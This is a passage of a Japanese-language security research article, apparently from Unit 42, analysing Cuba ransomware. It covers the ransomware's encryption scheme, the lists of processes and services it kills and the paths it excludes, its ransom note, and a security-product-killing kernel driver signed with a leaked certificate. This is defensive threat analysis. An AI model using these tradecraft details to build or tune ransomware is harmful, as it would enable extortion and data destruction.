data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-2.png\" alt=\"\" width=\"900\" height=\"839\" \/><figcaption id=\"caption-attachment-124321\" class=\"wp-caption-text\">\u56f34. Industrial Spy\u306e\u30e9\u30f3\u30c7\u30a3\u30f3\u30b0\u30da\u30fc\u30b8<\/figcaption><\/figure>\n<p>BleepingComputer\u306f\u3053\u306e\u306a\u304b\u3067\u300cIndustrial Spy\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u8eab\u4ee3\u91d1\u8981\u6c42\u30e1\u30e2\u306fCuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u8eab\u4ee3\u91d1\u8981\u6c42\u30e1\u30e2\u306b\u9177\u4f3c\u3057\u3066\u304a\u308a\u4e21\u8005\u306f\u540c\u4e00\u306e\u9023\u7d61\u5148\u3092\u8a18\u8f09\u3057\u3066\u3044\u308b\u300d\u3068\u3057\u3066\u3044\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u307b\u304b\u306e\u30b0\u30eb\u30fc\u30d7\u306e\u8eab\u4ee3\u91d1\u8981\u6c42\u30e1\u30e2\u3092\u304f\u3059\u306d\u3066\u81ea\u5206\u305f\u3061\u306e\u30b5\u30f3\u30d7\u30eb\u306b\u3059\u308b\u3053\u3068\u304c\u591a\u3044\u306e\u3067\u3059\u304c\u3001Industrial Spy\u3068Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3068\u306e\u95a2\u4fc2\u306f\u305d\u308c\u306b\u306f\u3068\u3069\u307e\u3089\u306a\u3044\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002<\/p>\n<p>Unit 42\u306f\u3001Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u4fb5\u5bb3\u30b7\u30b9\u30c6\u30e0\u4e0a\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u6697\u53f7\u5316\u3059\u308b\u3055\u3044\u3001\u30d5\u30a1\u30a4\u30eb\u306b<span style=\"font-family: 'courier new', courier, monospace;\">.cuba<\/span>\u3068\u3044\u3046\u62e1\u5f35\u5b50\u3092\u8ffd\u52a0\u3059\u308b\u69d8\u5b50\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u305f\u3060\u3057\u305d\u306e\u5f8c\u3001\u6d41\u51fa\u3057\u305f\u30c7\u30fc\u30bf\u306fIndustrial Spy\u30de\u30fc\u30b1\u30c3\u30c8\u30d7\u30ec\u30fc\u30b9\u306b\u8ca9\u58f2\u76ee\u7684\u3067\u63b2\u8f09\u3055\u308c\u3066\u3044\u308b\u69d8\u5b50\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>Tropical Scorpius\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u306a\u305c\u72ec\u81ea\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u3067\u306a\u304fIndustrial Spy\u30de\u30fc\u30b1\u30c3\u30c8\u30d7\u30ec\u30a4\u30b9\u3092\u5229\u7528\u3059\u308b\u3053\u3068\u306b\u3057\u305f\u306e\u304b\u306f\u308f\u304b\u3063\u3066\u3044\u307e\u305b\u3093\u304c\u3001BleepingComputer\u304c\u516c\u8868\u3057\u305f\u8abf\u67fb\u7d50\u679c\u3084\u3053\u306e\u4e0d\u53ef\u601d\u8b70\u306a\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u306b\u9451\u307f\u308b\u306b\u3001\u4e21\u8005\u306f\u5f53\u521d\u8003\u3048\u3089\u308c\u3066\u3044\u305f\u3088\u308a\u6df1\u304f\u95a2\u308f\u3063\u3066\u3044\u308b\u3082\u306e\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-124395-_z4p78mvkouoc\"><\/a>\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u6a5f\u80fd<\/h2>\n<p>Tropical Scorpius\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u3064\u306d\u306b\u30c4\u30fc\u30eb\u30ad\u30c3\u30c8\u3092\u958b\u767a\u30fb\u66f4\u65b0\u3057\u3066\u3044\u308b\u3053\u3068\u306f\u660e\u3089\u304b\u3067\u3059\u304c\u3001\u4e2d\u6838\u3068\u306a\u308bCuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306f2019\u5e74\u306e\u767a\u898b\u4ee5\u6765\u307b\u307c\u540c\u3058\u307e\u307e\u3067\u3059\u3002\u6697\u53f7\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u306f\u3044\u307e\u3082WolfSSL\u306e\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30ea\u30dd\u30b8\u30c8\u30ea\u304b\u3089\u53d6\u5f97\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u3044\u3046\u3068\u3001\u30d5\u30a1\u30a4\u30eb\u6697\u53f7\u5316\u306b\u306fChaCha\u304c\u3001\u9375\u306e\u6697\u53f7\u5316\u306b\u306fRSA\u304c\u5229\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124323\" aria-describedby=\"caption-attachment-124323\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124324 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-3.png\" alt=\"Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3068WolfSSL\u306eRSA\u6697\u53f7\u5316\u6a5f\u80fd\u3068\u306e\u30b3\u30fc\u30c9\u306e\u91cd\u8907\u3002\u30b9\u30cb\u30da\u30c3\u30c8\u306e\u6700\u521d\u306e\u884c\u306fv14 = a3;\" width=\"900\" height=\"696\" \/><figcaption id=\"caption-attachment-124323\" class=\"wp-caption-text\">\u56f35. Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3068WolfSSL\u306eRSA\u6697\u53f7\u5316\u6a5f\u80fd\u3068\u306e\u30b3\u30fc\u30c9\u306e\u91cd\u8907\u3002<\/figcaption><\/figure>\n<p>\u591a\u304f\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u540c\u69d8\u3001Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3082\u5bfe\u8c61\u30d5\u30a1\u30a4\u30eb\u3092\u305d\u306e\u30b5\u30a4\u30ba\u306b\u5fdc\u3058\u3066\u7570\u306a\u308b\u65b9\u6cd5\u3067\u6697\u53f7\u5316\u3057\u307e\u3059\u3002\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba\u304c0x200000\u30d0\u30a4\u30c8\u672a\u6e80\u306a\u3089\u30d5\u30a1\u30a4\u30eb\u5168\u4f53\u304c\u6697\u53f7\u5316\u3055\u308c\u307e\u3059\u3002\u305d\u3046\u3067\u306a\u3051\u308c\u3070\u3001Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306f0x100000\u30d0\u30a4\u30c8\u306e\u30c1\u30e3\u30f3\u30af\u5358\u4f4d\u3067\u30d5\u30a1\u30a4\u30eb\u3092\u6697\u53f7\u5316\u3057\u307e\u3059\u3002\u307e\u305f\u6697\u53f7\u5316\u3055\u308c\u305f\u30c1\u30e3\u30f3\u30af\u540c\u58eb\u306e\u9593\u9694\u304c\u5168\u4f53\u306e\u30b5\u30a4\u30ba\u3057\u3060\u3044\u3067\u5909\u308f\u308a\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u30b5\u30a4\u30ba\u304c0x200000\u30d0\u30a4\u30c8\u304b\u30890xA00000\u30d0\u30a4\u30c8\u307e\u3067\u306e\u30d5\u30a1\u30a4\u30eb\u3067\u3042\u308c\u3070\u3001\u30d5\u30a1\u30a4\u30eb\u306e\u7d42\u308f\u308a\u307e\u3067\u30010x400000\u30d0\u30a4\u30c8\u306e\u9593\u9694\u3092\u3042\u3051\u3066\u5909\u66f4\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124325\" aria-describedby=\"caption-attachment-124325\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124326 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-4.png\" alt=\"\u30d5\u30a1\u30a4\u30eb\u6697\u53f7\u5316\u524d\u306b\u30c1\u30e3\u30f3\u30af\u306e\u9593\u9694\u3092\u6c7a\u3081\u3066\u3044\u308b\u3068\u3053\u308d\u3002\u30b9\u30cb\u30da\u30c3\u30c8\u306e\u6700\u521d\u306e\u884c\u306f *a4 = 0xFFFFFFF;\" width=\"900\" height=\"844\" \/><figcaption id=\"caption-attachment-124325\" class=\"wp-caption-text\">\u56f36. \u30d5\u30a1\u30a4\u30eb\u6697\u53f7\u5316\u524d\u306b\u30c1\u30e3\u30f3\u30af\u306e\u9593\u9694\u3092\u6c7a\u3081\u3066\u3044\u308b\u3068\u3053\u308d\u3002<\/figcaption><\/figure>\n<table style=\"width: 82.4709%; height: 343px;\">\n<tbody>\n<tr style=\"height: 49px;\">\n<td style=\"width: 57.4468%; height: 49px;\"><span style=\"font-weight: 400;\">\u30d5\u30a1\u30a4\u30eb\u306e\u30b5\u30a4\u30ba<\/span><\/td>\n<td style=\"width: 17.2577%; height: 49px;\"><span style=\"font-weight: 400;\">\u30c1\u30e3\u30f3\u30af\u306e\u30b5\u30a4\u30ba<\/span><\/td>\n<td style=\"width: 85.9341%; height: 49px;\"><span style=\"font-weight: 400;\">\u30c1\u30e3\u30f3\u30af\u540c\u58eb\u306e\u9593\u9694<\/span><\/td>\n<\/tr>\n<tr style=\"height: 49px;\">\n<td style=\"width: 57.4468%; height: 49px;\"><span style=\"font-weight: 400;\">0x200000 \u672a\u6e80\u00a0<\/span><\/td>\n<td style=\"width: 17.2577%; height: 49px;\"><span style=\"font-weight: 400;\">\u5168\u30b5\u30a4\u30ba<\/span><\/td>\n<td style=\"width: 85.9341%; height: 49px;\"><span style=\"font-weight: 400;\">\u5bfe\u8c61\u5916<\/span><\/td>\n<\/tr>\n<tr style=\"height: 49px;\">\n<td style=\"width: 57.4468%; height: 49px;\"><span style=\"font-weight: 400;\">0x200000 \u304b\u3089 0xA00000<\/span><\/td>\n<td style=\"width: 17.2577%; height: 49px;\"><span style=\"font-weight: 400;\">0x100000\u00a0<\/span><\/td>\n<td style=\"width: 85.9341%; height: 49px;\"><span style=\"font-weight: 400;\">0x400000<\/span><\/td>\n<\/tr>\n<tr style=\"height: 49px;\">\n<td style=\"width: 57.4468%; height: 49px;\"><span style=\"font-weight: 400;\">0xA00000 \u304b\u3089 0x3200000<\/span><\/td>\n<td style=\"width: 17.2577%; height: 49px;\"><span style=\"font-weight: 400;\">0x100000\u00a0<\/span><\/td>\n<td style=\"width: 85.9341%; height: 49px;\"><span style=\"font-weight: 400;\">0x800000<\/span><\/td>\n<\/tr>\n<tr style=\"height: 49px;\">\n<td style=\"width: 57.4468%; height: 49px;\"><span style=\"font-weight: 400;\">0x3200000 \u304b\u3089 0xC800000<\/span><\/td>\n<td style=\"width: 17.2577%; height: 49px;\"><span style=\"font-weight: 400;\">0x100000\u00a0<\/span><\/td>\n<td style=\"width: 85.9341%; height: 49px;\"><span style=\"font-weight: 400;\">0x1000000<\/span><\/td>\n<\/tr>\n<tr style=\"height: 49px;\">\n<td style=\"width: 57.4468%; height: 49px;\"><span style=\"font-weight: 400;\">0xC800000 \u304b\u3089 0x280000000<\/span><\/td>\n<td style=\"width: 17.2577%; height: 49px;\"><span style=\"font-weight: 400;\">0x100000\u00a0<\/span><\/td>\n<td style=\"width: 85.9341%; height: 49px;\"><span style=\"font-weight: 400;\">0xC800000<\/span><\/td>\n<\/tr>\n<tr style=\"height: 49px;\">\n<td style=\"width: 57.4468%; height: 49px;\"><span style=\"font-weight: 400;\">0x280000000 \u4ee5\u4e0a<\/span><\/td>\n<td style=\"width: 17.2577%; height: 49px;\"><span style=\"font-weight: 400;\">0x100000\u00a0<\/span><\/td>\n<td style=\"width: 85.9341%; height: 49px;\"><span style=\"font-weight: 400;\">0x1F400000<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><em><span style=\"color: #999999;\">\u88681 Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba\u306b\u3088\u308b\u30c1\u30e3\u30f3\u30af\u306e\u9593\u9694<\/span><\/em><\/span><\/p>\n<p>\u6697\u53f7\u5316\u3055\u308c\u305f\u5404\u30d5\u30a1\u30a4\u30eb\u306e\u5148\u982d\u306b\u306f1024\u30d0\u30a4\u30c8\u306e\u30d8\u30c3\u30c0\u304c\u4ed8\u52a0\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u30d8\u30c3\u30c0\u306b\u306f\u3001\u30de\u30b8\u30c3\u30af\u30ca\u30f3\u30d0\u30fc\u3068\u3057\u3066<span style=\"font-family: 'courier new', courier, monospace;\">FIDEL.CA<\/span>(\u30ad\u30e5\u30fc\u30d0\u3092\u30c6\u30fc\u30de\u306b\u3057\u3066\u3044\u308b\u3053\u3068\u304b\u3089\u300c\u30ab\u30b9\u30c8\u30ed\u8b70\u9577\u300d\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u30d5\u30a3\u30c7\u30eb \u30ab\u30b9\u30c8\u30ed\u6c0f\u3092\u6307\u3057\u3066\u3044\u308b\u3068\u601d\u308f\u308c\u308b)\u3068\u30d5\u30a1\u30a4\u30eb\u56fa\u6709\u306eChaCha\u30ad\u30fc\u3001nonce\u3092\u542b\u3080RSA 4096\u6697\u53f7\u5316\u30d6\u30ed\u30c3\u30af\u304c\u7d9a\u304d\u307e\u3059\u3002\u30d5\u30a1\u30a4\u30eb\u306e\u6697\u53f7\u5316\u306b\u6210\u529f\u3059\u308b\u3068\u3001\u30d5\u30a1\u30a4\u30eb\u540d\u306b\u62e1\u5f35\u5b50<span style=\"font-family: 'courier new', courier, monospace;\">.cuba<\/span>\u304c\u4ed8\u52a0\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124327\" aria-describedby=\"caption-attachment-124327\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124328 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-5.png\" alt=\"FIDEL.CA\u306e\u30de\u30b8\u30c3\u30af\u30ca\u30f3\u30d0\u30fc\u306e\u5f8c\u306b\u6697\u53f7\u5316\u3055\u308c\u305fRSA\u306e\u30d6\u30ed\u30d6\u304c\u7d9a\u304f \" width=\"900\" height=\"684\" \/><figcaption id=\"caption-attachment-124327\" class=\"wp-caption-text\">\u56f37 FIDEL.CA\u306e\u30de\u30b8\u30c3\u30af\u30ca\u30f3\u30d0\u30fc\u306e\u5f8c\u306b\u6697\u53f7\u5316\u3055\u308c\u305fRSA\u306e\u30d6\u30ed\u30d6\u304c\u7d9a\u304f<\/figcaption><\/figure>\n<p><a href=\"https:\/\/www.trendmicro.com\/en_us\/research\/22\/f\/cuba-ransomware-group-s-new-variant-found-using-optimized-infect.html\">Trend Micro<\/a>\u3082\u89e3\u8aac\u3057\u3066\u3044\u305f\u3068\u304a\u308a\u3001Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u958b\u767a\u8005\u306f\u3001\u5b9f\u884c\u6642\u306b\u7d42\u4e86\u5bfe\u8c61\u3068\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u3084\u30b5\u30fc\u30d3\u30b9\u306e\u30ea\u30b9\u30c8\u3092\u3064\u304f\u308a\u3001\u6697\u53f7\u5316\u306e\u5bfe\u8c61\u304b\u3089\u9664\u5916\u3059\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3084\u62e1\u5f35\u5b50\u3082\u8ffd\u52a0\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><strong>\u6a19\u7684\u3068\u3055\u308c\u308b\u30d7\u30ed\u30bb\u30b9\u3068\u30b5\u30fc\u30d3\u30b9:<br \/>\n<\/strong><span style=\"font-family: 'courier new', courier, monospace;\">MySQL<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MySQL82SQLSERVERAGENT<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSSQLSERVER<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">SQLWriter<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">SQLTELEMETRY<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSDTC<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">SQLBrowser<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">sqlagent.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">sqlservr.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">sqlwriter.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">sqlceip.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">msdtc.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">sqlbrowser.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">vmcompute<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">vmms<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">vmwp.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">vmsp.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">outlook.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeUMCR<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeUM<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeTransportLogSearch<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeTransport<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeThrottling<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeSubmission<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeServiceHost<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeRPC<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeRepl<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangePOP3BE<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangePop3<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeNotificationsBroker<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeMailboxReplication<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeMailboxAssistants<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeIS<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeIMAP4BE<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeImap4<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeHMRecovery<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeHM<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeFrontEndTransport<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeFastSearch<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeEdgeSync<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeDiagnostics<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeDelivery<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeDagMgmt<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeCompliance<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">MSExchangeAntispamUpdate<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">Microsoft.Exchange.Store.Worker.exe<br \/>\n<\/span><\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\"><strong><span style=\"font-family: georgia, palatino, serif;\">\u9664\u5916\u3055\u308c\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea:<\/span><\/strong><br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\windows\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\program files\\microsoft office\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\program files (x86)\\microsoft office\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\program files\\avs\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\program files (x86)\\avs\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\$recycle.bin\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\boot\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\recovery\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\system volume information\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\msocache\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\users\\all users\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\users\\default user\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\users\\default\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\temp\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\inetcache\\<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">\\google\\<br \/>\n<\/span><\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\"><strong><span style=\"font-family: georgia, palatino, serif;\">\u9664\u5916\u3055\u308c\u308b\u62e1\u5f35\u5b50:<\/span><\/strong><br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">.exe<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">.dll<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">.sys<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">.ini<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">.lnk<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">.vbm<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">.cuba<\/span><\/p>\n<p>\u307e\u305f\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u304c\u30c9\u30ed\u30c3\u30d7\u3059\u308b\u8eab\u4ee3\u91d1\u8981\u6c42\u30e1\u30e2\u306b\u3082\u5927\u5e45\u306a\u5909\u66f4\u304c\u898b\u3089\u308c\u307e\u3059\u3002Tor\u30b5\u30a4\u30c8\u3060\u3051\u306b\u4f9d\u5b58\u3059\u308b\u306e\u3092\u907f\u3051\u3001TOX\u306b\u3088\u308b\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3\u3082\u63d0\u4f9b\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002TOX\u306b\u306f\u5b89\u5168\u306b\u30e1\u30c3\u30bb\u30fc\u30b8\u4ea4\u63db\u3092\u884c\u3046\u6a5f\u80fd\u304c\u3042\u308a\u3001\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u306e\u9593\u3067\u4eba\u6c17\u304c\u9ad8\u307e\u308a\u3064\u3064\u3042\u308a\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124381\" aria-describedby=\"caption-attachment-124381\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124382 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/Figure-8.png\" alt=\"\u8eab\u4ee3\u91d1\u8981\u6c42\u30e1\u30e2\u306e\u30b5\u30f3\u30d7\u30eb\u3002\u30e1\u30e2\u306f\u300cGreetings!\u300d\u304b\u3089\u59cb\u307e\u3063\u3066\u3044\u308b\u3002\u305d\u306e\u5f8c\u306f\u3001\u300cUnfortunately we have to report you that your company were compromised. All your files were encrypted and you can't restore them without our private key. Trying to restore it without our help may cause complete loss of your data. Also we researched whole your corporate network and downloaded all your sensitive data to our servers. If we will not get any contact from you in 3 next days we will public it in our news site. You can fine it there.\u300d\u3068\u3064\u3065\u304f\u3002\u305d\u306e\u5f8c\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306b\u9023\u7d61\u3092\u3068\u308b\u65b9\u6cd5\u306e\u8a73\u7d30\u304c\u8aac\u660e\u3055\u308c\u3066\u3044\u308b \" width=\"900\" height=\"789\" \/><figcaption id=\"caption-attachment-124381\" class=\"wp-caption-text\">\u56f38. Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u304c\u30c9\u30ed\u30c3\u30d7\u3059\u308b\u8eab\u4ee3\u91d1\u8981\u6c42\u30e1\u30e2<\/figcaption><\/figure>\n<h2><a id=\"post-124395-_tjp2kqtwr74e\"><\/a>\u9632\u885b\u56de\u907f<\/h2>\n<p>Unit 42\u306f\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u5c55\u958b\u524d\u306eTropical Scorpius\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u5f7c\u3089\u306f\u8208\u5473\u6df1\u3044\u30c4\u30fc\u30eb\u3084\u30c6\u30af\u30cb\u30c3\u30af\u3092\u8907\u6570\u4f7f\u3063\u3066\u691c\u51fa\u56de\u907f\u3084\u4fb5\u5bb3\u74b0\u5883\u5185\u306e\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u3092\u884c\u3063\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>Tropical Scorpius\u306f\u3042\u308b\u30c9\u30ed\u30c3\u30d1\u30fc\u3092\u4f7f\u3063\u3066\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b<span style=\"font-family: 'courier new', courier, monospace;\">ApcHelper.sys<\/span>\u3068\u3044\u3046\u540d\u524d\u306e\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u3092\u66f8\u304d\u8fbc\u3093\u3067\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u3092\u72d9\u3063\u3066\u7d42\u4e86\u3055\u305b\u307e\u3059\u3002\u30c9\u30ed\u30c3\u30d1\u30fc\u306f\u7f72\u540d\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3067\u3057\u305f\u304c\u3001\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306f<a href=\"https:\/\/unit42.paloaltonetworks.jp\/lapsus-group\/\">LAPSUS<\/a>\u306b\u3088\u308bNVIDIA\u306e\u30ea\u30fc\u30af\u3067\u898b\u3064\u304b\u3063\u305f\u8a3c\u660e\u66f8\u3067\u7f72\u540d\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<figure id=\"attachment_124331\" aria-describedby=\"caption-attachment-124331\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124332 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-7.png\" alt=\"\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30c7\u30b8\u30bf\u30eb\u7f72\u540d\u3002\u3053\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u7f72\u540d\u8005\u304cNVIDIA corp\u3068\u306a\u3063\u3066\u304a\u308a\u3001\u30b7\u30ea\u30a2\u30eb\u756a\u53f7\u3082\u8868\u793a\u3055\u308c\u3066\u3044\u308b\u3002 \" width=\"900\" height=\"571\" \/><figcaption id=\"caption-attachment-124331\" class=\"wp-caption-text\">\u56f39 \u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30c7\u30b8\u30bf\u30eb\u7f72\u540d\u3002<\/figcaption><\/figure>\n<p>\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30c9\u30ed\u30c3\u30d1\u30fc\/\u30ed\u30fc\u30c0\u30fc\u306f\u3001\u5b9f\u884c\u6642\u306b\u8907\u6570\u306eWindows API\u3092\u4f7f\u3063\u3066\u30ea\u30bd\u30fc\u30b9\u30bb\u30af\u30b7\u30e7\u30f3\u3092\u691c\u7d22\u3057\u3001<span 